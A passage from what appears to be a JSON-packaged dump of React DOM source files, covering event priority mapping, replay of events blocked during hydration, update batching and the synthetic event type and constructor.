something went wrong but to avoid blocking\n        // the whole system, dispatch the event without a target.\n        // TODO: Warn.\n        targetInst = null;\n      } else if (tag === ActivityComponent) {\n        const instance = getActivityInstanceFromFiber(nearestMounted);\n        if (instance !== null) {\n          // Queue the event to be replayed later. Abort dispatching since we\n          // don't want this event dispatched twice through the event system.\n          // TODO: If this is the first discrete event in the queue. Schedule an increased\n          // priority for this boundary.\n          return instance;\n        }\n        // This shouldn't happen, something went wrong but to avoid blocking\n        // the whole system, dispatch the event without a target.\n        // TODO: Warn.\n        targetInst = null;\n      } else if (tag === HostRoot) {\n        const root: FiberRoot = nearestMounted.stateNode;\n        if (isRootDehydrated(root)) {\n          // If this happens during a replay something went wrong and it might block\n          // the whole system.\n          return getContainerFromFiber(nearestMounted);\n        }\n        targetInst = null;\n      } else if (nearestMounted !== targetInst) {\n        // If we get an event (ex: img onload) before committing that\n        // component's mount, ignore it for now (that is, treat it as if it was an\n        // event on a non-React tree). We might also consider queueing events and\n        // dispatching them after the mount.\n        targetInst = null;\n      }\n    }\n  }\n  return_targetInst = targetInst;\n  // We're not blocked on anything.\n  return null;\n}\n\nexport function getEventPriority(domEventName: DOMEventName): EventPriority {\n  switch (domEventName) {\n    // Used by SimpleEventPlugin:\n    case 'beforetoggle':\n    case 'cancel':\n    case 'click':\n    case 'close':\n    case 'contextmenu':\n    case 'copy':\n    case 'cut':\n    case 'auxclick':\n    case 'dblclick':\n    case 'dragend':\n    case 'dragstart':\n    case 'drop':\n    case 'focusin':\n    case 'focusout':\n    case 'input':\n    case 'invalid':\n    case 'keydown':\n    case 'keypress':\n    case 'keyup':\n    case 'mousedown':\n    case 'mouseup':\n    case 'paste':\n    case 'pause':\n    case 'play':\n    case 'pointercancel':\n    case 'pointerdown':\n    case 'pointerup':\n    case 'ratechange':\n    case 'reset':\n    case 'seeked':\n    case 'submit':\n    case 'toggle':\n    case 'touchcancel':\n    case 'touchend':\n    case 'touchstart':\n    case 'volumechange':\n    // Used by polyfills: (fall through)\n    case 'change':\n    case 'selectionchange':\n    case 'textInput':\n    case 'compositionstart':\n    case 'compositionend':\n    case 'compositionupdate':\n    // Only enableCreateEventHandleAPI: (fall through)\n    case 'beforeblur':\n    case 'afterblur':\n    // Not used by React but could be by user code: (fall through)\n    case 'beforeinput':\n    case 'blur':\n    case 'fullscreenchange':\n    case 'fullscreenerror':\n    case 'focus':\n    case 'hashchange':\n    case 'popstate':\n    case 'select':\n    case 'selectstart':\n      return DiscreteEventPriority;\n    case 'drag':\n    case 'dragenter':\n    case 'dragexit':\n    case 'dragleave':\n    case 'dragover':\n    case 'mousemove':\n    case 'mouseout':\n    case 'mouseover':\n    case 'pointermove':\n    case 'pointerout':\n    case 'pointerover':\n    case 'resize':\n    case 'scroll':\n    case 'touchmove':\n    case 'wheel':\n    // Not used by React but could be by user code: (fall through)\n    case 'mouseenter':\n    case 'mouseleave':\n    case 'pointerenter':\n    case 'pointerleave':\n      return ContinuousEventPriority;\n    case 'message': {\n      // We might be in the Scheduler callback.\n      // Eventually this mechanism will be replaced by a check\n      // of the current priority on the native scheduler.\n      const schedulerPriority = getCurrentSchedulerPriorityLevel();\n      switch (schedulerPriority) {\n        case ImmediateSchedulerPriority:\n          return DiscreteEventPriority;\n        case UserBlockingSchedulerPriority:\n          return ContinuousEventPriority;\n        case NormalSchedulerPriority:\n        case LowSchedulerPriority:\n          // TODO: Handle LowSchedulerPriority, somehow. Maybe the same lane as hydration.\n          return DefaultEventPriority;\n        case IdleSchedulerPriority:\n          return IdleEventPriority;\n        default:\n          return DefaultEventPriority;\n      }\n    }\n    default:\n      return DefaultEventPriority;\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/ReactDOMEventReplaying.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AnyNativeEvent} from '../events/PluginModuleType';\nimport type {\n  Container,\n  ActivityInstance,\n  SuspenseInstance,\n} from '../client/ReactFiberConfigDOM';\nimport type {DOMEventName} from '../events/DOMEventNames';\nimport type {EventSystemFlags} from './EventSystemFlags';\nimport type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\n\nimport {\n  unstable_scheduleCallback as scheduleCallback,\n  unstable_NormalPriority as NormalPriority,\n} from 'scheduler';\nimport {\n  getNearestMountedFiber,\n  getContainerFromFiber,\n  getActivityInstanceFromFiber,\n  getSuspenseInstanceFromFiber,\n} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport {\n  findInstanceBlockingEvent,\n  findInstanceBlockingTarget,\n} from './ReactDOMEventListener';\nimport {setReplayingEvent, resetReplayingEvent} from './CurrentReplayingEvent';\nimport {\n  getInstanceFromNode,\n  getClosestInstanceFromNode,\n  getFiberCurrentPropsFromNode,\n} from '../client/ReactDOMComponentTree';\nimport {\n  HostRoot,\n  ActivityComponent,\n  SuspenseComponent,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {isHigherEventPriority} from 'react-reconciler/src/ReactEventPriorities';\nimport {isRootDehydrated} from 'react-reconciler/src/ReactFiberShellHydration';\nimport {dispatchReplayedFormAction} from './plugins/FormActionEventPlugin';\nimport {\n  resolveUpdatePriority,\n  runWithPriority as attemptHydrationAtPriority,\n} from '../client/ReactDOMUpdatePriority';\n\nimport {\n  attemptContinuousHydration,\n  attemptHydrationAtCurrentPriority,\n} from 'react-reconciler/src/ReactFiberReconciler';\n\nimport {enableHydrationChangeEvent} from 'shared/ReactFeatureFlags';\n\n// TODO: Upgrade this definition once we're on a newer version of Flow that\n// has this definition built-in.\ntype PointerEventType = Event & {\n  pointerId: number,\n  relatedTarget: EventTarget | null,\n  ...\n};\n\ntype QueuedReplayableEvent = {\n  blockedOn: null | Container | ActivityInstance | SuspenseInstance,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  nativeEvent: AnyNativeEvent,\n  targetContainers: Array<EventTarget>,\n};\n\nlet hasScheduledReplayAttempt = false;\n\n// The last of each continuous event type. We only need to replay the last one\n// if the last target was dehydrated.\nlet queuedFocus: null | QueuedReplayableEvent = null;\nlet queuedDrag: null | QueuedReplayableEvent = null;\nlet queuedMouse: null | QueuedReplayableEvent = null;\n// For pointer events there can be one latest event per pointerId.\nconst queuedPointers: Map<number, QueuedReplayableEvent> = new Map();\nconst queuedPointerCaptures: Map<number, QueuedReplayableEvent> = new Map();\n// We could consider replaying selectionchange and touchmoves too.\n\nconst queuedChangeEventTargets: Array<EventTarget> = [];\n\ntype QueuedHydrationTarget = {\n  blockedOn: null | Container | ActivityInstance | SuspenseInstance,\n  target: Node,\n  priority: EventPriority,\n};\nconst queuedExplicitHydrationTargets: Array<QueuedHydrationTarget> = [];\n\nconst discreteReplayableEvents: Array<DOMEventName> = [\n  'mousedown',\n  'mouseup',\n  'touchcancel',\n  'touchend',\n  'touchstart',\n  'auxclick',\n  'dblclick',\n  'pointercancel',\n  'pointerdown',\n  'pointerup',\n  'dragend',\n  'dragstart',\n  'drop',\n  'compositionend',\n  'compositionstart',\n  'keydown',\n  'keypress',\n  'keyup',\n  'input',\n  'textInput', // Intentionally camelCase\n  'copy',\n  'cut',\n  'paste',\n  'click',\n  'change',\n  'contextmenu',\n  'reset',\n  // 'submit', // stopPropagation blocks the replay mechanism\n];\n\nexport function isDiscreteEventThatRequiresHydration(\n  eventType: DOMEventName,\n): boolean {\n  return discreteReplayableEvents.indexOf(eventType) > -1;\n}\n\nfunction createQueuedReplayableEvent(\n  blockedOn: null | Container | ActivityInstance | SuspenseInstance,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n  nativeEvent: AnyNativeEvent,\n): QueuedReplayableEvent {\n  return {\n    blockedOn,\n    domEventName,\n    eventSystemFlags,\n    nativeEvent,\n    targetContainers: [targetContainer],\n  };\n}\n\n// Resets the replaying for this type of continuous event to no event.\nexport function clearIfContinuousEvent(\n  domEventName: DOMEventName,\n  nativeEvent: AnyNativeEvent,\n): void {\n  switch (domEventName) {\n    case 'focusin':\n    case 'focusout':\n      queuedFocus = null;\n      break;\n    case 'dragenter':\n    case 'dragleave':\n      queuedDrag = null;\n      break;\n    case 'mouseover':\n    case 'mouseout':\n      queuedMouse = null;\n      break;\n    case 'pointerover':\n    case 'pointerout': {\n      const pointerId = ((nativeEvent: any): PointerEventType).pointerId;\n      queuedPointers.delete(pointerId);\n      break;\n    }\n    case 'gotpointercapture':\n    case 'lostpointercapture': {\n      const pointerId = ((nativeEvent: any): PointerEventType).pointerId;\n      queuedPointerCaptures.delete(pointerId);\n      break;\n    }\n  }\n}\n\nfunction accumulateOrCreateContinuousQueuedReplayableEvent(\n  existingQueuedEvent: null | QueuedReplayableEvent,\n  blockedOn: null | Container | ActivityInstance | SuspenseInstance,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n  nativeEvent: AnyNativeEvent,\n): QueuedReplayableEvent {\n  if (\n    existingQueuedEvent === null ||\n    existingQueuedEvent.nativeEvent !== nativeEvent\n  ) {\n    const queuedEvent = createQueuedReplayableEvent(\n      blockedOn,\n      domEventName,\n      eventSystemFlags,\n      targetContainer,\n      nativeEvent,\n    );\n    if (blockedOn !== null) {\n      const fiber = getInstanceFromNode(blockedOn);\n      if (fiber !== null) {\n        // Attempt to increase the priority of this target.\n        attemptContinuousHydration(fiber);\n      }\n    }\n    return queuedEvent;\n  }\n  // If we have already queued this exact event, then it's because\n  // the different event systems have different DOM event listeners.\n  // We can accumulate the flags, and the targetContainers, and\n  // store a single event to be replayed.\n  existingQueuedEvent.eventSystemFlags |= eventSystemFlags;\n  const targetContainers = existingQueuedEvent.targetContainers;\n  if (\n    targetContainer !== null &&\n    targetContainers.indexOf(targetContainer) === -1\n  ) {\n    targetContainers.push(targetContainer);\n  }\n  return existingQueuedEvent;\n}\n\nexport function queueIfContinuousEvent(\n  blockedOn: null | Container | ActivityInstance | SuspenseInstance,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n  nativeEvent: AnyNativeEvent,\n): boolean {\n  // These set relatedTarget to null because the replayed event will be treated as if we\n  // moved from outside the window (no target) onto the target once it hydrates.\n  // Instead of mutating we could clone the event.\n  switch (domEventName) {\n    case 'focusin': {\n      const focusEvent = ((nativeEvent: any): FocusEvent);\n      queuedFocus = accumulateOrCreateContinuousQueuedReplayableEvent(\n        queuedFocus,\n        blockedOn,\n        domEventName,\n        eventSystemFlags,\n        targetContainer,\n        focusEvent,\n      );\n      return true;\n    }\n    case 'dragenter': {\n      const dragEvent = ((nativeEvent: any): DragEvent);\n      queuedDrag = accumulateOrCreateContinuousQueuedReplayableEvent(\n        queuedDrag,\n        blockedOn,\n        domEventName,\n        eventSystemFlags,\n        targetContainer,\n        dragEvent,\n      );\n      return true;\n    }\n    case 'mouseover': {\n      const mouseEvent = ((nativeEvent: any): MouseEvent);\n      queuedMouse = accumulateOrCreateContinuousQueuedReplayableEvent(\n        queuedMouse,\n        blockedOn,\n        domEventName,\n        eventSystemFlags,\n        targetContainer,\n        mouseEvent,\n      );\n      return true;\n    }\n    case 'pointerover': {\n      const pointerEvent = ((nativeEvent: any): PointerEventType);\n      const pointerId = pointerEvent.pointerId;\n      queuedPointers.set(\n        pointerId,\n        accumulateOrCreateContinuousQueuedReplayableEvent(\n          queuedPointers.get(pointerId) || null,\n          blockedOn,\n          domEventName,\n          eventSystemFlags,\n          targetContainer,\n          pointerEvent,\n        ),\n      );\n      return true;\n    }\n    case 'gotpointercapture': {\n      const pointerEvent = ((nativeEvent: any): PointerEventType);\n      const pointerId = pointerEvent.pointerId;\n      queuedPointerCaptures.set(\n        pointerId,\n        accumulateOrCreateContinuousQueuedReplayableEvent(\n          queuedPointerCaptures.get(pointerId) || null,\n          blockedOn,\n          domEventName,\n          eventSystemFlags,\n          targetContainer,\n          pointerEvent,\n        ),\n      );\n      return true;\n    }\n  }\n  return false;\n}\n\n// Check if this target is unblocked. Returns true if it's unblocked.\nfunction attemptExplicitHydrationTarget(\n  queuedTarget: QueuedHydrationTarget,\n): void {\n  // TODO: This function shares a lot of logic with findInstanceBlockingEvent.\n  // Try to unify them. It's a bit tricky since it would require two return\n  // values.\n  const targetInst = getClosestInstanceFromNode(queuedTarget.target);\n  if (targetInst !== null) {\n    const nearestMounted = getNearestMountedFiber(targetInst);\n    if (nearestMounted !== null) {\n      const tag = nearestMounted.tag;\n      if (tag === SuspenseComponent) {\n        const instance = getSuspenseInstanceFromFiber(nearestMounted);\n        if (instance !== null) {\n          // We're blocked on hydrating this boundary.\n          // Increase its priority.\n          queuedTarget.blockedOn = instance;\n          attemptHydrationAtPriority(queuedTarget.priority, () => {\n            attemptHydrationAtCurrentPriority(nearestMounted);\n          });\n\n          return;\n        }\n      } else if (tag === ActivityComponent) {\n        const instance = getActivityInstanceFromFiber(nearestMounted);\n        if (instance !== null) {\n          // We're blocked on hydrating this boundary.\n          // Increase its priority.\n          queuedTarget.blockedOn = instance;\n          attemptHydrationAtPriority(queuedTarget.priority, () => {\n            attemptHydrationAtCurrentPriority(nearestMounted);\n          });\n\n          return;\n        }\n      } else if (tag === HostRoot) {\n        const root: FiberRoot = nearestMounted.stateNode;\n        if (isRootDehydrated(root)) {\n          queuedTarget.blockedOn = getContainerFromFiber(nearestMounted);\n          // We don't currently have a way to increase the priority of\n          // a root other than sync.\n          return;\n        }\n      }\n    }\n  }\n  queuedTarget.blockedOn = null;\n}\n\nexport function queueExplicitHydrationTarget(target: Node): void {\n  const updatePriority = resolveUpdatePriority();\n  const queuedTarget: QueuedHydrationTarget = {\n    blockedOn: null,\n    target: target,\n    priority: updatePriority,\n  };\n  let i = 0;\n  for (; i < queuedExplicitHydrationTargets.length; i++) {\n    // Stop once we hit the first target with lower priority than\n    if (\n      !isHigherEventPriority(\n        updatePriority,\n        queuedExplicitHydrationTargets[i].priority,\n      )\n    ) {\n      break;\n    }\n  }\n  queuedExplicitHydrationTargets.splice(i, 0, queuedTarget);\n  if (i === 0) {\n    attemptExplicitHydrationTarget(queuedTarget);\n  }\n}\n\nfunction attemptReplayContinuousQueuedEvent(\n  queuedEvent: QueuedReplayableEvent,\n): boolean {\n  if (queuedEvent.blockedOn !== null) {\n    return false;\n  }\n  const targetContainers = queuedEvent.targetContainers;\n  while (targetContainers.length > 0) {\n    const nextBlockedOn = findInstanceBlockingEvent(queuedEvent.nativeEvent);\n    if (nextBlockedOn === null) {\n      const nativeEvent = queuedEvent.nativeEvent;\n      const nativeEventClone = new nativeEvent.constructor(\n        nativeEvent.type,\n        (nativeEvent: any),\n      );\n      setReplayingEvent(nativeEventClone);\n      nativeEvent.target.dispatchEvent(nativeEventClone);\n      resetReplayingEvent();\n    } else {\n      // We're still blocked. Try again later.\n      const fiber = getInstanceFromNode(nextBlockedOn);\n      if (fiber !== null) {\n        attemptContinuousHydration(fiber);\n      }\n      queuedEvent.blockedOn = nextBlockedOn;\n      return false;\n    }\n    // This target container was successfully dispatched. Try the next.\n    targetContainers.shift();\n  }\n  return true;\n}\n\nfunction attemptReplayContinuousQueuedEventInMap(\n  queuedEvent: QueuedReplayableEvent,\n  key: number,\n  map: Map<number, QueuedReplayableEvent>,\n): void {\n  if (attemptReplayContinuousQueuedEvent(queuedEvent)) {\n    map.delete(key);\n  }\n}\n\nfunction replayChangeEvent(target: EventTarget): void {\n  // Dispatch a fake \"change\" event for the input.\n  const element: HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement =\n    (target: any);\n  if (element.nodeName === 'INPUT') {\n    if (element.type === 'checkbox' || element.type === 'radio') {\n      // Checkboxes always fire a click event regardless of how the change was made.\n      const EventCtr =\n        typeof PointerEvent === 'function' ? PointerEvent : Event;\n      target.dispatchEvent(new EventCtr('click', {bubbles: true}));\n      // For checkboxes the input event uses the Event constructor instead of InputEvent.\n      target.dispatchEvent(new Event('input', {bubbles: true}));\n    } else {\n      if (typeof InputEvent === 'function') {\n        target.dispatchEvent(new InputEvent('input', {bubbles: true}));\n      }\n    }\n  } else if (element.nodeName === 'TEXTAREA') {\n    if (typeof InputEvent === 'function') {\n      target.dispatchEvent(new InputEvent('input', {bubbles: true}));\n    }\n  }\n  target.dispatchEvent(new Event('change', {bubbles: true}));\n}\n\nfunction replayUnblockedEvents() {\n  hasScheduledReplayAttempt = false;\n  // Replay any continuous events.\n  if (queuedFocus !== null && attemptReplayContinuousQueuedEvent(queuedFocus)) {\n    queuedFocus = null;\n  }\n  if (queuedDrag !== null && attemptReplayContinuousQueuedEvent(queuedDrag)) {\n    queuedDrag = null;\n  }\n  if (queuedMouse !== null && attemptReplayContinuousQueuedEvent(queuedMouse)) {\n    queuedMouse = null;\n  }\n  queuedPointers.forEach(attemptReplayContinuousQueuedEventInMap);\n  queuedPointerCaptures.forEach(attemptReplayContinuousQueuedEventInMap);\n  if (enableHydrationChangeEvent) {\n    for (let i = 0; i < queuedChangeEventTargets.length; i++) {\n      replayChangeEvent(queuedChangeEventTargets[i]);\n    }\n    queuedChangeEventTargets.length = 0;\n  }\n}\n\nexport function flushEventReplaying(): void {\n  // Synchronously flush any event replaying so that it gets observed before\n  // any new updates are applied.\n  if (hasScheduledReplayAttempt) {\n    replayUnblockedEvents();\n  }\n}\n\nexport function queueChangeEvent(target: EventTarget): void {\n  if (enableHydrationChangeEvent) {\n    queuedChangeEventTargets.push(target);\n    if (!hasScheduledReplayAttempt) {\n      hasScheduledReplayAttempt = true;\n    }\n  }\n}\n\nfunction scheduleCallbackIfUnblocked(\n  queuedEvent: QueuedReplayableEvent,\n  unblocked: Container | SuspenseInstance | ActivityInstance,\n) {\n  if (queuedEvent.blockedOn === unblocked) {\n    queuedEvent.blockedOn = null;\n    if (!hasScheduledReplayAttempt) {\n      hasScheduledReplayAttempt = true;\n      if (!enableHydrationChangeEvent) {\n        // Schedule a callback to attempt replaying as many events as are\n        // now unblocked. This first might not actually be unblocked yet.\n        // We could check it early to avoid scheduling an unnecessary callback.\n        scheduleCallback(NormalPriority, replayUnblockedEvents);\n      }\n    }\n  }\n}\n\ntype FormAction = FormData => void | Promise<void>;\n\ntype FormReplayingQueue = Array<any>; // [form, submitter or action, formData...]\n\nlet lastScheduledReplayQueue: null | FormReplayingQueue = null;\n\nfunction replayUnblockedFormActions(formReplayingQueue: FormReplayingQueue) {\n  if (lastScheduledReplayQueue === formReplayingQueue) {\n    lastScheduledReplayQueue = null;\n  }\n  for (let i = 0; i < formReplayingQueue.length; i += 3) {\n    const form: HTMLFormElement = formReplayingQueue[i];\n    const submitterOrAction:\n      | null\n      | HTMLInputElement\n      | HTMLButtonElement\n      | FormAction = formReplayingQueue[i + 1];\n    const formData: FormData = formReplayingQueue[i + 2];\n    if (typeof submitterOrAction !== 'function') {\n      // This action is not hydrated yet. This might be because it's blocked on\n      // a different React instance or higher up our tree.\n      const blockedOn = findInstanceBlockingTarget(submitterOrAction || form);\n      if (blockedOn === null) {\n        // We're not blocked but we don't have an action. This must mean that\n        // this is in another React instance. We'll just skip past it.\n        continue;\n      } else {\n        // We're blocked on something in this React instance. We'll retry later.\n        break;\n      }\n    }\n    const formInst = getInstanceFromNode(form);\n    if (formInst !== null) {\n      // This is part of our instance.\n      // We're ready to replay this. Let's delete it from the queue.\n      formReplayingQueue.splice(i, 3);\n      i -= 3;\n      dispatchReplayedFormAction(formInst, form, submitterOrAction, formData);\n      // Continue without incrementing the index.\n      continue;\n    }\n    // This form must've been part of a different React instance.\n    // If we want to preserve ordering between React instances on the same root\n    // we'd need some way for the other instance to ping us when it's done.\n    // We'll just skip this and let the other instance execute it.\n  }\n}\n\nfunction scheduleReplayQueueIfNeeded(formReplayingQueue: FormReplayingQueue) {\n  // Schedule a callback to execute any unblocked form actions in.\n  // We only keep track of the last queue which means that if multiple React oscillate\n  // commits, we could schedule more callbacks than necessary but it's not a big deal\n  // and we only really except one instance.\n  if (lastScheduledReplayQueue !== formReplayingQueue) {\n    lastScheduledReplayQueue = formReplayingQueue;\n    scheduleCallback(NormalPriority, () =>\n      replayUnblockedFormActions(formReplayingQueue),\n    );\n  }\n}\n\nexport function retryIfBlockedOn(\n  unblocked: Container | SuspenseInstance | ActivityInstance,\n): void {\n  if (queuedFocus !== null) {\n    scheduleCallbackIfUnblocked(queuedFocus, unblocked);\n  }\n  if (queuedDrag !== null) {\n    scheduleCallbackIfUnblocked(queuedDrag, unblocked);\n  }\n  if (queuedMouse !== null) {\n    scheduleCallbackIfUnblocked(queuedMouse, unblocked);\n  }\n  const unblock = (queuedEvent: QueuedReplayableEvent) =>\n    scheduleCallbackIfUnblocked(queuedEvent, unblocked);\n  queuedPointers.forEach(unblock);\n  queuedPointerCaptures.forEach(unblock);\n\n  for (let i = 0; i < queuedExplicitHydrationTargets.length; i++) {\n    const queuedTarget = queuedExplicitHydrationTargets[i];\n    if (queuedTarget.blockedOn === unblocked) {\n      queuedTarget.blockedOn = null;\n    }\n  }\n\n  while (queuedExplicitHydrationTargets.length > 0) {\n    const nextExplicitTarget = queuedExplicitHydrationTargets[0];\n    if (nextExplicitTarget.blockedOn !== null) {\n      // We're still blocked.\n      break;\n    } else {\n      attemptExplicitHydrationTarget(nextExplicitTarget);\n      if (nextExplicitTarget.blockedOn === null) {\n        // We're unblocked.\n        queuedExplicitHydrationTargets.shift();\n      }\n    }\n  }\n\n  // Check the document if there are any queued form actions.\n  // If there's no ownerDocument, then this is the document.\n  const root = unblocked.ownerDocument || unblocked;\n  const formReplayingQueue: void | FormReplayingQueue = (root: any)\n    .$$reactFormReplay;\n  if (formReplayingQueue != null) {\n    for (let i = 0; i < formReplayingQueue.length; i += 3) {\n      const form: HTMLFormElement = formReplayingQueue[i];\n      const submitterOrAction:\n        | null\n        | HTMLInputElement\n        | HTMLButtonElement\n        | FormAction = formReplayingQueue[i + 1];\n      const formProps = getFiberCurrentPropsFromNode(form);\n      if (typeof submitterOrAction === 'function') {\n        // This action has already resolved. We're just waiting to dispatch it.\n        if (!formProps) {\n          // This was not part of this React instance. It might have been recently\n          // unblocking us from dispatching our events. So let's make sure we schedule\n          // a retry.\n          scheduleReplayQueueIfNeeded(formReplayingQueue);\n        }\n        continue;\n      }\n      let target: Node = form;\n      if (formProps) {\n        // This form belongs to this React instance but the submitter might\n        // not be done yet.\n        let action: null | FormAction = null;\n        const submitter = submitterOrAction;\n        if (submitter && submitter.hasAttribute('formAction')) {\n          // The submitter is the one that is responsible for the action.\n          target = submitter;\n          const submitterProps = getFiberCurrentPropsFromNode(submitter);\n          if (submitterProps) {\n            // The submitter is part of this instance.\n            action = (submitterProps: any).formAction;\n          } else {\n            const blockedOn = findInstanceBlockingTarget(target);\n            if (blockedOn !== null) {\n              // The submitter is not hydrated yet. We'll wait for it.\n              continue;\n            }\n            // The submitter must have been a part of a different React instance.\n            // Except the form isn't. We don't dispatch actions in this scenario.\n          }\n        } else {\n          action = (formProps: any).action;\n        }\n        if (typeof action === 'function') {\n          formReplayingQueue[i + 1] = action;\n        } else {\n          // Something went wrong so let's just delete this action.\n          formReplayingQueue.splice(i, 3);\n          i -= 3;\n        }\n        // Schedule a replay in case this unblocked something.\n        scheduleReplayQueueIfNeeded(formReplayingQueue);\n        continue;\n      }\n      // Something above this target is still blocked so we can't continue yet.\n      // We're not sure if this target is actually part of this React instance\n      // yet. It could be a different React as a child but at least some parent is.\n      // We must continue for any further queued actions.\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/ReactDOMUpdateBatching.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  needsStateRestore,\n  restoreStateIfNeeded,\n} from './ReactDOMControlledComponent';\n\nimport {\n  batchedUpdates as batchedUpdatesImpl,\n  discreteUpdates as discreteUpdatesImpl,\n  flushSyncWork,\n} from 'react-reconciler/src/ReactFiberReconciler';\n\n// Used as a way to call batchedUpdates when we don't have a reference to\n// the renderer. Such as when we're dispatching events or if third party\n// libraries need to call batchedUpdates. Eventually, this API will go away when\n// everything is batched by default. We'll then have a similar API to opt-out of\n// scheduled work and instead do synchronous work.\n\nlet isInsideEventHandler = false;\n\nfunction finishEventHandler() {\n  // Here we wait until all updates have propagated, which is important\n  // when using controlled components within layers:\n  // https://github.com/facebook/react/issues/1698\n  // Then we restore state of any controlled component.\n  const controlledComponentsHavePendingUpdates = needsStateRestore();\n  if (controlledComponentsHavePendingUpdates) {\n    // If a controlled event was fired, we may need to restore the state of\n    // the DOM node back to the controlled value. This is necessary when React\n    // bails out of the update without touching the DOM.\n    // TODO: Restore state in the microtask, after the discrete updates flush,\n    // instead of early flushing them here.\n    // @TODO Should move to flushSyncWork once legacy mode is removed but since this flushSync\n    // flushes passive effects we can't do this yet.\n    flushSyncWork();\n    restoreStateIfNeeded();\n  }\n}\n\nexport function batchedUpdates(fn, a, b) {\n  if (isInsideEventHandler) {\n    // If we are currently inside another batch, we need to wait until it\n    // fully completes before restoring state.\n    return fn(a, b);\n  }\n  isInsideEventHandler = true;\n  try {\n    return batchedUpdatesImpl(fn, a, b);\n  } finally {\n    isInsideEventHandler = false;\n    finishEventHandler();\n  }\n}\n\n// TODO: Replace with flushSync\nexport function discreteUpdates(fn, a, b, c, d) {\n  return discreteUpdatesImpl(fn, a, b, c, d);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/ReactSyntheticEventType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * Flow type for SyntheticEvent class that includes private properties\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {DOMEventName} from './DOMEventNames';\n\nexport type DispatchConfig = {\n  dependencies?: Array<DOMEventName>,\n  phasedRegistrationNames: {\n    bubbled: null | string,\n    captured: null | string,\n  },\n  registrationName?: string,\n};\n\ntype BaseSyntheticEvent = {\n  isPersistent: () => boolean,\n  isPropagationStopped: () => boolean,\n  _dispatchInstances?: null | Array<Fiber | null> | Fiber,\n  _dispatchListeners?: null | Array<Function> | Function,\n  _targetInst: Fiber,\n  nativeEvent: Event,\n  target?: mixed,\n  relatedTarget?: mixed,\n  type: string,\n  currentTarget: null | EventTarget,\n};\n\nexport type KnownReactSyntheticEvent = BaseSyntheticEvent & {\n  _reactName: string,\n};\nexport type UnknownReactSyntheticEvent = BaseSyntheticEvent & {\n  _reactName: null,\n};\n\nexport type ReactSyntheticEvent =\n  | KnownReactSyntheticEvent\n  | UnknownReactSyntheticEvent;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/SyntheticEvent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint valid-typeof: 0 */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport assign from 'shared/assign';\nimport getEventCharCode from './getEventCharCode';\n\ntype EventInterfaceType = {\n  [propName: string]: 0 | ((event: {[propName: string]: mixed, ...}) => mixed),\n};\n\nfunction functionThatReturnsTrue() {\n  return true;\n}\n\nfunction functionThatReturnsFalse() {\n  return false;\n}\n\n// This is intentionally a factory so that we have different returned constructors.\n// If we had a single constructor, it would be megamorphic and engines would deopt.\nfunction createSyntheticEvent(Interface: EventInterfaceType) {\n  /**\n   * Synthetic events are dispatched by event plugins, typically in response to a\n   * top-level event delegation handler.\n   *\n   * These systems should generally use pooling to reduce the frequency of garbage\n   * collection. The system should check `isPersistent` to determine whether the\n   * event should be released into the pool after being dispatched. Users that\n   * need a persisted event should invoke `persist`.\n   *\n   * Synthetic events (and subclasses) implement the DOM Level 3 Events API by\n   * normalizing browser quirks. Subclasses do not necessarily have to implement a\n   * DOM interface; custom application-specific events can also subclass this.\n   */\n  // $FlowFixMe[missing-this-annot]\n  function SyntheticBaseEvent(\n    reactName: string | null,\n    reactEventType: string,\n    targetInst: Fiber | null,\n    nativeEvent: {[propName: string]: mixed, ...},\n    nativeEventTarget: null | EventTarget,\n  ) {\n    this._reactName = reactName;\n    this._targetInst = targetInst;\n    this.type = reactEventType;\n    this.nativeEvent = nativeEvent;\n    this.target = nativeEventTarget;\n    this.currentTarget = null;\n\n    for (const propName in Interface) {\n      if (!Interface.hasOwnProperty(propName)) {\n        continue;\n      }\n      const normalize = Interface[propName];\n      if (normalize) {\n        this[propName] = normalize(nativeEvent);\n      } else {\n        this[propName] = nativeEvent[propName];\n      }\n    }\n\n    const defaultPrevented =\n      nativeEvent.defaultPrevented != null\n        ? nativeEvent.defaultPrevented\n        : nativeEvent.returnValue === false;\n    if (defaultPrevented) {\n      this.isDefaultPrevented = functionThatReturnsTrue;\n    } else {\n      this.isDefaultPrevented = functionThatReturnsFalse;\n    }\n    this.isPropagationStopped = functionThatReturnsFalse;\n    return this;\n  }\n\n  // $FlowFixMe[prop-missing] found when upgrading Flow\n  assign(SyntheticBaseEvent.prototype, {\n    // $FlowFixMe[missing-this-annot]\n    preventDefault: function () {\n      this.defaultPrevented = true;\n      const event = this.nativeEvent;\n      if (!event) {\n        return;\n      }\n\n      if (event.preventDefault) {\n        event.preventDefault();\n        // $FlowFixMe[illegal-typeof] - flow is not aware of `unknown` in IE\n      } else if (typeof event.returnValue !== 'unknown') {\n        event.returnValue = false;\n      }\n      this.isDefaultPrevented = functionThatReturnsTrue;\n    },\n\n    // 